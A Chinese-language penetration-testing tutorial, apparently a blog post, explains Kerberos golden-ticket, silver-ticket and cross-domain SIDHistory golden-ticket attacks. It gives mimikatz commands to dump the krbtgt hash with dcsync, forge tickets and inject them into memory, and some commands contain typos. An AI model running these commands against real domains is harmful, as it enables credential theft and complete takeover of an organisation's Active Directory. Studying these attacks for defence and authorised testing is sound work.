0x00 前言
在前文内网渗透入门之基础知识中,我们已经详细接触了Kerberos协议的相关知识以及认证过程,本文基于之前的学习,来学习一下与之有关的“票据传递攻击”。这种攻击一般用来内网渗透中的横向移动,其分为:
- 黄金票据
- 白银票据
0x01 黄金票据
简单介绍
Golden Ticket,黄金票据。是指通过伪造TGT,来进行下一步的Kerberos认证,从而获取到访问服务器的ST。其原理是,AS应答Client时,会返回如下的信息:
- TGT(在KDC中使用krbtgt的NTML HASH加密而成的),其中包含Client/TGS SessionKey等信息
- 使用KDC生成的Client密钥加密KDC生成的Client/TGS SessionKey
另外TGS对用户的认证过程中,只要能够成功解密TGT就会认为用户是可信的,而这就意味着,一旦我们获取到krbtgt中的hash值时(拿下了域控),就能够伪造TGT票据和Client/TGS SessionKey。只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的ST。可以说有了金票就有了域内的最高权限。
制作条件
制作金票的条件:
1、域名称
2、域的SID(Object Security ID)值
3、域的KRBTGT账户密码HASH(可以是aes256_hmac或者是ntml hash)
4、伪造用户名,可以是任意的
mimikatz
mimikatz由法国人Benjamin Delpy( 推特账号为@gentilkiwi,中文为@猕猴桃)开发,借此来验证微软认证协议的脆弱性,其原理为从lsass.exe (Windows会把密码存入其中)进程中获取当前登录系统用户名的密码或其他的一些凭证信息。
我们可以借助mimikatz收集Hash,最后伪造出黄金票据。
1.域名称
net view /domain
图以后补上
2.NTML HASH以及SID
mimikatz# "lsadump::dcsync /domain:域名称.com /user:krbtgt"
图以后补上
注意,任意一个域用户的SID号是由域的ID+用户的ID号共同组成:
如:S-1-5-21-3698344474-843673033-3679835876-500
但是我们这里只需要域的SID,所以要去掉最后一段数字
3.生成黄金票据
mimikatz# "kerberos::golden /domain:test666.com /sid:S-1-5-21-1497092113-2272191533-193330055 /krbtgt:cac9c793eb3ba2c6abbcc9c14f18a41f /user:任意用户名 /ticket:golden.kirbi"
4.清空Client上的票据
清空一般是为了防止干扰
mimikatz# kerberos::purge
5.ptt, pass the tickct,进行票据传递
mimikatz# kerberos::ppt ./golden.kiribi
6.查看票据
mimikatz# kerberos::list
特点
1.需要与DC通信(需要与DC上的TGS的交互)
2.需要krbtgt的Hash
0x02 白银票据
简单介绍
Silver Tickets,白银票据。是通过伪造ST获得权限,但因为所访问的对象在TGT中通过SID指定了,所以通过白银票据只能访问特定的服务。其原理是,在TGS应答Client,会发送以下信息:
- ST(在TGS使用Server的Hash加密而成的),其中包含Client/Server SessionKey等信息
- 使用Client/TGS SessionKey加密的Client/Server SessionKey
而这就意味着,只要我们获得了对应Server的Hash,则可以伪造出自己的ST,从而访问特定服务(之所以是特定,是因为pac只能KDC制作和查看,我们无法伪造pac,所以只能访问不验证pac的服务,如cifs)。
制作条件
- /domain:当前域名称
- /sid:SID值
- /target:目标主机
- /service:服务名称,如cifs
- /rc4:目标主机的HASH值
- /user:任意的用户名
- /ptt:表示的是Pass TheTicket攻击,是把生成的票据导入内存
kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:OWA2010SP3.0day.org /service:cifs /rc4:125445ed1d553393cce9585e64e3fa07 /user:xxx /ptt
特点
- 白银票据不经过域控
- 只能访问不验证pac的服务
0x03 增强版黄金票据
普通黄金票据的局限性
普通黄金票据不能跨域,只能在当前域使用,不能跨域,包括子域对父域的跨域。(但不清楚父域到子域算不算跨域,查了半天)
其原因为:
在生成golden票据的时候,/sid指定的是子域的sid,mimikatz拿到sid后会在尾部拼接RID号,Enterprise Admins用户组只存在于根域域控中,其他域的最高管理员的组为Domain Admins, 所以构造的SID在整个域林中都是不存在的,也就是无法跨域和访问其他域的资源
增强版本
通过域内主机在迁移时LDAP库中的SIDHistory属性中保存的上一个域的SID值制作可以跨域的金票。如果知道根域的SID那么就可以通过子域的KRBTGT的HASH值,使用mimikatz创建具有 EnterpriseAdmins组权限(域林中的最高权限)的票据。
mimikatz "kerberos::golden /admin:administrator /domain:news.rootkit.org` /sid:子域sid /sids:根域sids /krbtgt:子域krbtgt的hash /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit
Startoffffset
和endin
分别代表偏移量和长度(不知道什么意思,很多文章都没讲清楚),renewmax
表示生成的票据的最长时间。